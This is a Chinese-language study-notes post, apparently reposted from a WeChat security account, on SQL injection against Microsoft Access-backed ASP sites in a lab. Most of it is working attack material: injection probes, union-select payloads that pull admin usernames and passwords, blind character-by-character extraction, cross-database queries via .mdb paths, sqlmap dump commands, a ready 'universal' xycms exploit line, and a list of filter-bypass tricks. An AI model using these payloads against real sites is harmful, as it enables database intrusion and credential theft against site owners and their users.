【复盘学习笔记】SQL注入之ACCESS 注入
2022-11-23 22:55:59 Author: 猫因的安全(查看原文) 阅读量:10 收藏

前言

最近太废了,就想着再复习复习之前的内容,野路子吗你懂的,只会用工具

ACCESS 注入

测试点:http://192.168.10.159:8001/showshop.asp?id=20

Access判断注入点

判断是否存在注入

  1. 单引号 ’
  2. And 1=1
  3. And 1=2
  4. /  和-0

判断数据库类型

  1. and exists (select * from msysobjects)>0   access
  2. and exists (select * from sysobjects)>0    sqlserver
  3. 看常见搭配

Access联合查询注入

判断数据库表与列名

  1. and exists (select * from admin)
  2. and exists (select id from admin)
  3. and exists (select admin from admin)
  4. and exists (select password from admin)

判断字段长度

  1. order by 20
  2. order by 21
  3. order by 22

数据库联合查询

  1. union select 1,2,admin,4,password,6,7,8,9 from admin

Access布尔盲注之逐字猜解法

判断账户密码的长度

  1. and (select len(admin) from admin)=5        如果返回正常说明管理员账户的长度为5
  2. and (select len(password) from admin)=5   如果返回正常说明管理员密码的长度为5

猜解管理员账号的第一个数据

通过判断Ascii码来判断

  1. and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
  2. and (select top 1 asc(mid(admin,1,1)) from admin)>50   返回正常说明大于
  3. and (select top 1 asc(mid(admin,1,1)) from admin)=97   返回正常说明等于97,97对应的字母为a
  4. 以此类推

判断管理员账户的第二数据

  1. and (select top 1 asc(mid(admin,2,1)) from admin)>100 返回正常说明大于,不正常说明不大于

判断管理员账户的第三数据

  1. and (select top 1 asc(mid(admin,3,1)) from admin)>100 返回正常说明大于,不正常说明不大于

判断管理员密码的第一个数据

  1. and (select top 1 asc(mid(password,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于

Access偏移注入

用*代替字段长度
用*号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,* 代表了所有admin表的字段
  • http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
  • http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
  • http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9sq,10,11,12,13,14,15,16,17,18,19,20,* from admin

Access跨库查询注入

  1. http://192.168.10.159:8003/fwxm_detail.asp?id=22%20union%20select%201,admin,3,4,password,6,7%20from[C:\Inetpub\wwwroot\8004\xydata\xycms.mdb].admin_user
条件:
同服务器下的站点有注入,知道对方站的数据库绝对路径,知道对方数据库表,表中的字段名可以用这个方法来跨库查询.

绝对路径: (D:/wwwroot/....*.mdb .asa .asp)

例如:
04是目标站点 03是存在注入的站点 03,04是同服务器的站点
可以在03中构造注入语句来攻击04站点

SQLMAP使用

http://192.168.10.159:8003/fwxm_detail.asp?id=22

sqlmap -u "http://192.168.10.159:8003/fwxm_detail.asp?id=22"  
查看是否存在注入

sqlmap -u "http://192.168.10.159:8003/fwxm_detail.asp?id=22" --tables 
查看数据库表名

sqlmap -u "http://192.168.10.159:8003/fwxm_detail.asp?id=22" -T 表名 --columns 
查看表下字段名

sqlmap -u "http://192.168.10.159:8003/fwxm_detail.asp?id=22" -T 表名 -C 字段1,字段2, --dump 
列出字段数据

同CMS Exp构造通杀

xycms

通杀注入exp

union select 1,admin,3,4,password,6,7 from admin_user

防注入代码绕过

  • [ ] 通用弹框拦截
  • [ ] 改变数据提交方式
  • [ ] 代码防御
  • [ ] +代替空格
  • [ ] %0a、%a0代替空格
  • [ ] 混合使用绕过
  • [ ] url编码绕过
  • [ ] 使用sqlmap的tamper

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247497044&idx=1&sn=57b93baff40fe5042d6299c1f7af358e&chksm=c30560d3f472e9c5bcc86097d0637d9d6f8d339b1ebea0e29bbdf35c8a00bd5b5d3b26a3ac52#rd
如有侵权请联系:admin#unsafe.sh